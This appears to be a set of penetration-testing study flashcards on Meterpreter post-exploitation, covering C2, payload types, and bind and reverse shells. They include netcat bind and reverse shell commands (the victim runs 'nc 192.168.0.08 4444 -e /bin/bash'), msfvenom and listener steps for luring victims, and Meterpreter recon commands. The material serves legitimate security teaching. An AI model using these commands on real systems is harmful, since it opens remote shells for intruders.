17.2 Post-Exploitation with Meterpreter Flashcards

1
Q

After successful exploitation, in which a session is established, Metasploit acts as a ___________ server, meaning it is able to ___________.

A

After successful exploitation, in which a session is established, Metasploit acts as a **command and control (C2)** server, meaning it is able to pass commands to exploited victim computers.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

C2 is a general term for what?

C2 is a vital technique for the post-exploitation phase of pen testing, when attackers will try to perform tasks such as ___________.

A

C2 is a general term for a non-standardized framework that controls sessions on infected hosts.

C2 is a vital technique for the post-exploitation phase of pen testing, when attackers will try to perform tasks such as data exfiltration (moving data from the victim computer to the host).

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Using Ncat what is the command to setup a listner on. a victim’s machine so you can connect to it from a attacker machine?

A

nc -lvnp 4444 -e /bin/bash

  • -l: Tells Ncat to listen for incoming connection .
  • -n: Indicates that we are listening for numeric IP addresses.
  • -v: Means verbose, which will print more information about the connection.
  • -p <port number>: Specifies which port to listen on. <br></br>- -e: Executes a bash shell, specifically, /bin/bash.</port>
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Using Ncat, how would you set up a reverse shell?

A

Using Ncat, set up a listener on the attacker’s machine that is prepared for the victim’s machine to connect back to it with the following commands:

On the attcker machine:

nc -lvnp 4444

Victim machine run:

nc 192.168.0.08 4444 -e /bin/bash

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

A payload is the _______ that runs when an exploit successfully compromises a system.

A

A payload is the shell code that runs when an exploit successfully compromises a system.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

True or False:

Payloads will need to correspond to a specific OS and architecture.

A

True

A 64-bit payload is very different from a 32-bit payload.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Some exploits can only handle a certain size payload. If a payload is too big, it will fail. To address this size issue, we can use either? What is the difference?

A

To address this size issue, we can use either **staged** or **stageless** payloads.

Staged payloads come in multiple parts in order to minimize their overall initial payload size. Upon exploitation, the payload calls the rest of the payload down from the “staged” location.

Stageless payloads are complete payloads, and are significantly larger than staged payloads.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

If the payload is successful, it will establish a ____. This is the connection between the target machine and attacking machine.

A

If the payload is successful, it will establish a shell. This is the connection between the target machine and attacking machine.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Two notable types of shells are:

A

**Bind shells** use a payload that opens up a port on a victim host and listen on that port for an incoming connection from the attacker host. This allows the attacker to connect to the victim.

**Reverse shells** use a payload that automatically reaches out to the attacker host to establish a session.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

When shells are used maliciously like this, they are also referred to as _______.

A

**backdoors**

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

In your own words, what is Meterpreter?

A

It’s the flagship or default payload of Metasploit. Meterpreter allows an attacker to control a victim’s computer by running an invisible shell and establishing a communication channel back to the attacking machine.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

When connecting to the remote host, does Meterpreter start new processes, similar to SSH or Ncat?

A

Unlike SSH and Ncat, Meterpreter does not start any new processes on the victim. Instead, it “injects” itself into a program that’s already running.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

True or False:

Meterpreter encrypts all communication to and from the victim machine.

A

True

For example, “windows/meterpreter/reverse_https” payload. This payload will communicate over HTTPS so it is less likely to be detected, and because it calls back to us, it is less likely to get picked up by a firewall as well. This is one of the standard reverse shells that we use in penetration testing.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Assuming that you have a Meterpreter shell, answer the following:

What command would you use to display the help menu?

A

?

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Assuming that you have a Meterpreter shell, answer the following:

What command would you use to identify detailed Windows privilege information?

A

run win_privs

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Assuming that you have a Meterpreter shell, answer the following:

What command would you use to gather the victim’s system information?

A

sysinfo

17
Q

Assuming that you have a Meterpreter shell, answer the following:

What command lets you upload a readme.txt to your victim’s computer?

A

upload readme.txt

18
Q

Attackers often try to get a Meterpreter shell by tricking their victims into downloading an executable file that they’ve created. How is the file created in Kali?

A
  • Create a custom payload using **msfvenom**.
  • Send your target to your payload.
  • Set up a listener using Metasploit.
    • For example: Running use windows/meterpreter/reverse_tcp and set payload windows/meterpreter/reverse_tcp and then defining the LHOST and LHOST.
  • Wait until the victim has executed your exploit.
19
Q

With Metasploit, we can use Meterpreter to:

A
  • Upload and download files to and from a target.
  • Set up port forwarding through the target.
  • Switch between Meterpreter shells.
  • Run Metasploit modules on remote hosts.
20
Q

Opening a Meterpreter session on a target host consists of four main steps:

A
  1. Exploiting the target.
  2. Uploading a Meterpreter payload on the target.
  3. Starting a TCP listener.
  4. Executing the Meterpreter payload.
21
Q

The easiest way to open a Meterpreter shell is _____________.

A common payload is ___________.

A

The easiest way to open a Meterpreter shell is to select an exploit and set a Meterpreter payload.

A common payload is `windows/meterpreter/reverse_tcp

22
Q

You can have multiple Meterpreter sessions open on multiple machines.

A

True

23
Q

What are the commands needed to connect to a Meterpreter session?

A
  • sessions: Lists all open Meterpreter sessions.
  • sessions -i <session></session>: Connects to a designated session.
  • sessions -i 1: Brings our session to the foreground, meaning any command we run on our host machine will be run on the Meterpreter shell on the target.
24
Q

Once we’ve connected to a Meterpreter session, what are some commands can you run to get infomration on the target? (9)

A

?: Prints Meterpreter’s help page, which lists all possible commands.

getuid: Prints user ID.

getwd: Prints current working directory.

ifconfig: Prints the victim’s network information.

sysinfo: Gathers system information (OS, architecture, kernel version).

upload: Uploads a file to the target.

download: Downloads a file from the target.

search: Searches for resources, similar to the find command in Linux.

run win_privs: Provides more detailed Windows privilege information.

run win_enum: Runs a comprehensive suite of Windows enumerations and stores the results on the attacking machine.